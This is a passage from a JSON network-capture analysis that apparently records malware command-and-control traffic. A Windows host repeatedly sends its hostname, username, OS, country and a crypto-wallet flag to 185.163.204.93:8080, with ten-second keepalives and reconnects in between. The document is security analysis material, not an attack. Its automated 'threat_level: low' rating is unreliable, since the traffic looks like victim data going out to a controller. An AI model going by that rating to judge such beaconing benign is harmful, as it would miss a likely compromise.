\"{\\\"type\\\":\\\"info\\\",\\\"data\\\":{\\\"hostname\\\":\\\"DESKTOP-JLCUPK0\\\",\\\"username\\\":\\\"0xKal\\\",\\\"os\\\":\\\"Microsoft Windows 10 Pro 10.0.19044\\\",\\\"country\\\":\\\"US\\\",\\\"monitors\\\":1,\\\"wallets\\\":false}}\"}, {\"packet_number\": 130, \"timestamp\": 1777473129.52342, \"timestamp_iso\": \"2026-04-29T20:02:09.523420\", \"timestamp_human\": \"2026-04-29 20:02:09.523\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38458, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483954, \"tcp_ack\": 199973463, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 132, \"timestamp\": 1777473139.525754, \"timestamp_iso\": \"2026-04-29T20:02:19.525754\", \"timestamp_human\": \"2026-04-29 20:02:19.525\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38459, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483954, \"tcp_ack\": 199973463, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 134, \"timestamp\": 1777473149.538419, \"timestamp_iso\": \"2026-04-29T20:02:29.538419\", \"timestamp_human\": \"2026-04-29 20:02:29.538\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38460, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483954, \"tcp_ack\": 199973463, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 136, \"timestamp\": 1777473159.542306, \"timestamp_iso\": \"2026-04-29T20:02:39.542306\", \"timestamp_human\": \"2026-04-29 20:02:39.542\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38461, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483954, \"tcp_ack\": 199973463, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 140, \"timestamp\": 1777473169.556296, \"timestamp_iso\": \"2026-04-29T20:02:49.556296\", \"timestamp_human\": \"2026-04-29 20:02:49.556\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38462, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483954, \"tcp_ack\": 199973463, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 142, \"timestamp\": 1777473179.57177, \"timestamp_iso\": \"2026-04-29T20:02:59.571770\", \"timestamp_human\": \"2026-04-29 20:02:59.571\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38463, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483954, \"tcp_ack\": 199973463, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 145, \"timestamp\": 1777473184.16431, \"timestamp_iso\": \"2026-04-29T20:03:04.164310\", \"timestamp_human\": \"2026-04-29 20:03:04.164\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38464, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483955, \"tcp_ack\": 199973464, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 146, \"timestamp\": 1777473184.188797, \"timestamp_iso\": \"2026-04-29T20:03:04.188797\", \"timestamp_human\": \"2026-04-29 20:03:04.188\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38465, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50161, \"dst_port\": 8080, \"tcp_seq\": 2775483955, \"tcp_ack\": 199973464, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 148, \"timestamp\": 1777473184.207785, \"timestamp_iso\": \"2026-04-29T20:03:04.207785\", \"timestamp_human\": \"2026-04-29 20:03:04.207\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38466, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940484, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 150, \"timestamp\": 1777473184.20797, \"timestamp_iso\": \"2026-04-29T20:03:04.207970\", \"timestamp_human\": \"2026-04-29 20:03:04.207\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38467, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940485, \"tcp_ack\": 1516837734, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 159, \"timestamp\": 1777473184.872247, \"timestamp_iso\": \"2026-04-29T20:03:04.872247\", \"timestamp_human\": \"2026-04-29 20:03:04.872\", \"size\": 58, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38468, \"ip_len\": 44, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940485, \"tcp_ack\": 1516837734, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4, \"payload_preview\": \"9f000000\", \"payload_ascii\": \"\\u0000\\u0000\\u0000\"}, {\"packet_number\": 161, \"timestamp\": 1777473184.872368, \"timestamp_iso\": \"2026-04-29T20:03:04.872368\", \"timestamp_human\": \"2026-04-29 20:03:04.872\", \"size\": 213, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38469, \"ip_len\": 199, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940489, \"tcp_ack\": 1516837734, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 159, \"payload_preview\": \"7b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a224e4c222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d\", \"payload_ascii\": \"{\\\"type\\\":\\\"info\\\",\\\"data\\\":{\\\"hostname\\\":\\\"DESKTOP-JLCUPK0\\\",\\\"username\\\":\\\"0xKal\\\",\\\"os\\\":\\\"Microsoft Windows 10 Pro 10.0.19044\\\",\\\"country\\\":\\\"NL\\\",\\\"monitors\\\":1,\\\"wallets\\\":false}}\"}, {\"packet_number\": 164, \"timestamp\": 1777473194.880125, \"timestamp_iso\": \"2026-04-29T20:03:14.880125\", \"timestamp_human\": \"2026-04-29 20:03:14.880\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38470, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940647, \"tcp_ack\": 1516837734, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 166, \"timestamp\": 1777473204.882105, \"timestamp_iso\": \"2026-04-29T20:03:24.882105\", \"timestamp_human\": \"2026-04-29 20:03:24.882\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38471, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940647, \"tcp_ack\": 1516837734, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 168, \"timestamp\": 1777473214.891823, \"timestamp_iso\": \"2026-04-29T20:03:34.891823\", \"timestamp_human\": \"2026-04-29 20:03:34.891\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38472, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940647, \"tcp_ack\": 1516837734, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 170, \"timestamp\": 1777473224.894135, \"timestamp_iso\": \"2026-04-29T20:03:44.894135\", \"timestamp_human\": \"2026-04-29 20:03:44.894\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38473, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940647, \"tcp_ack\": 1516837734, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 172, \"timestamp\": 1777473234.898346, \"timestamp_iso\": \"2026-04-29T20:03:54.898346\", \"timestamp_human\": \"2026-04-29 20:03:54.898\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38474, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940647, \"tcp_ack\": 1516837734, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 176, \"timestamp\": 1777473244.906947, \"timestamp_iso\": \"2026-04-29T20:04:04.906947\", \"timestamp_human\": \"2026-04-29 20:04:04.906\", \"size\": 55, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38475, \"ip_len\": 41, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940647, \"tcp_ack\": 1516837734, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 1, \"payload_preview\": \"00\", \"payload_ascii\": \"\\u0000\"}, {\"packet_number\": 179, \"timestamp\": 1777473249.251779, \"timestamp_iso\": \"2026-04-29T20:04:09.251779\", \"timestamp_human\": \"2026-04-29 20:04:09.251\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38476, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940648, \"tcp_ack\": 1516837735, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 180, \"timestamp\": 1777473249.275904, \"timestamp_iso\": \"2026-04-29T20:04:09.275904\", \"timestamp_human\": \"2026-04-29 20:04:09.275\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38477, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50176, \"dst_port\": 8080, \"tcp_seq\": 275940648, \"tcp_ack\": 1516837735, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 182, \"timestamp\": 1777473249.294562, \"timestamp_iso\": \"2026-04-29T20:04:09.294562\", \"timestamp_human\": \"2026-04-29 20:04:09.294\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38478, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50180, \"dst_port\": 8080, \"tcp_seq\": 1371135995, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 184, \"timestamp\": 1777473249.294761, \"timestamp_iso\": \"2026-04-29T20:04:09.294761\", \"timestamp_human\": \"2026-04-29 20:04:09.294\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38479, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50180, \"dst_port\": 8080, \"tcp_seq\": 1371135996, \"tcp_ack\": 17955916, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 193, \"timestamp\": 1777473250.389054, \"timestamp_iso\": \"2026-04-29T20:04:10.389054\", \"timestamp_human\": \"2026-04-29 20:04:10.389\", \"size\": 58, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38480, \"ip_len\": 44, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50180, \"dst_port\": 8080, \"tcp_seq\": 1371135996, \"tcp_ack\": 17955916, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4, \"payload_preview\": \"9f000000\", \"payload_ascii\": \"\\u0000\\u0000\\u0000\"}, {\"packet_number\": 195, \"timestamp\": 1777473250.389176, \"timestamp_iso\": \"2026-04-29T20:04:10.389176\", \"timestamp_human\": \"2026-04-29 20:04:10.389\", \"size\": 213, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"185.163.204.93\", \"ttl\": 128, \"ip_id\": 38481, \"ip_len\": 199, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50180, \"dst_port\": 8080, \"tcp_seq\": 1371136000, \"tcp_ack\": 17955916, \"tcp_window\": 32768, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 159, \"payload_preview\": \"7b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a224e4c222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d\", \"payload_ascii\": \"{\\\"type\\\":\\\"info\\\",\\\"data\\\":{\\\"hostname\\\":\\\"DESKTOP-JLCUPK0\\\",\\\"username\\\":\\\"0xKal\\\",\\\"os\\\":\\\"Microsoft Windows 10 Pro 10.0.19044\\\",\\\"country\\\":\\\"NL\\\",\\\"monitors\\\":1,\\\"wallets\\\":false}}\"}], \"tcp_flags\": {\"SYN\": 6, \"ACK\": 55, \"PSH\": 15, \"FIN\": 5}, \"packet_sizes\": [66, 54, 58, 58, 101, 62, 172, 54, 54, 66, 54, 58, 213, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 58, 213, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 58, 213, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 58, 213, 55, 55, 55, 55, 55, 55, 54, 54, 66, 54, 58, 213], \"inter_packet_intervals\": [0.00018715858459472656, 0.08157587051391602, 0.0001671314239501953, 0.00013589859008789062, 9.894371032714844e-05, 9.202957153320312e-05, 0.00914311408996582, 0.00041103363037109375, 0.02452683448791504, 0.0001430511474609375, 3.5501461029052734, 0.00012493133544921875, 10.075546026229858, 10.014652013778687, 10.029428005218506, 10.175830841064453, 10.013552188873291, 10.095124006271362, 5.572582006454468, 0.050418853759765625, 0.01822209358215332, 0.00017905235290527344, 0.9227099418640137, 0.0001659393310546875, 10.008105993270874, 10.08997106552124, 10.001863956451416, 10.090625047683716, 10.011833906173706, 10.095060110092163, 3.792090892791748, 0.05630302429199219, 0.026998043060302734, 0.0001590251922607422, 1.2673640251159668, 0.00017786026000976562, 10.088178157806396, 10.002333879470825, 10.012665033340454, 10.003886938095093, 10.0139901638031, 10.01547384262085, 4.59254002571106, 0.024487018585205078, 0.01898789405822754, 0.0001850128173828125, 0.6642770767211914, 0.00012111663818359375, 10.00775694847107, 10.001980066299438, 10.00971794128418, 10.002311944961548, 10.004210948944092, 10.008600950241089, 4.344832181930542, 0.024124860763549805, 0.018658161163330078, 0.00019884109497070312, 1.0942931175231934, 0.00012183189392089844], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 267.02964997291565, \"avg_packet_size\": 71.90163934426229, \"packets_per_second\": 0.2284390516415953, \"bytes_per_second\": 16.425142303279298, \"min_packet_size\": 54, \"max_packet_size\": 213, \"median_packet_size\": 55, \"avg_interval\": 4.450494166215261, \"min_interval\": 9.202957153320312e-05, \"max_interval\": 10.175830841064453}, {\"source\": \"185.163.204.93\", \"target\": \"192.168.122.168\", \"packet_count\": 54, \"total_bytes\": 3276, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [8080], \"dst_ports\": [50095, 50096, 50144, 50161, 50176, 50180], \"first_packet\": 1777472983.359579, \"last_packet\": 1777473250.389184, \"packets\": [{\"packet_number\": 42, \"timestamp\": 1777472983.441697, \"timestamp_iso\": \"2026-04-29T19:59:43.441697\", \"timestamp_human\": \"2026-04-29 19:59:43.441\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18298, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50095, \"tcp_seq\": 1770832334, \"tcp_ack\": 689988234, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 44, \"timestamp\": 1777472983.44179, \"timestamp_iso\": \"2026-04-29T19:59:43.441790\", \"timestamp_human\": \"2026-04-29 19:59:43.441\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18299, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50095, \"tcp_seq\": 1770832334, \"tcp_ack\": 689988352, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 46, \"timestamp\": 1777472983.451014, \"timestamp_iso\": \"2026-04-29T19:59:43.451014\", \"timestamp_human\": \"2026-04-29 19:59:43.451\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18300, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50095, \"tcp_seq\": 1770832334, \"tcp_ack\": 689988353, \"tcp_window\": 83, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 49, \"timestamp\": 1777472983.475909, \"timestamp_iso\": \"2026-04-29T19:59:43.475909\", \"timestamp_human\": \"2026-04-29 19:59:43.475\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8080, \"dst_port\": 50096, \"tcp_seq\": 747942179, \"tcp_ack\": 1897488115, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 59, \"timestamp\": 1777472987.026196, \"timestamp_iso\": \"2026-04-29T19:59:47.026196\", \"timestamp_human\": \"2026-04-29 19:59:47.026\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"185.163.204.93\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 38744, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, 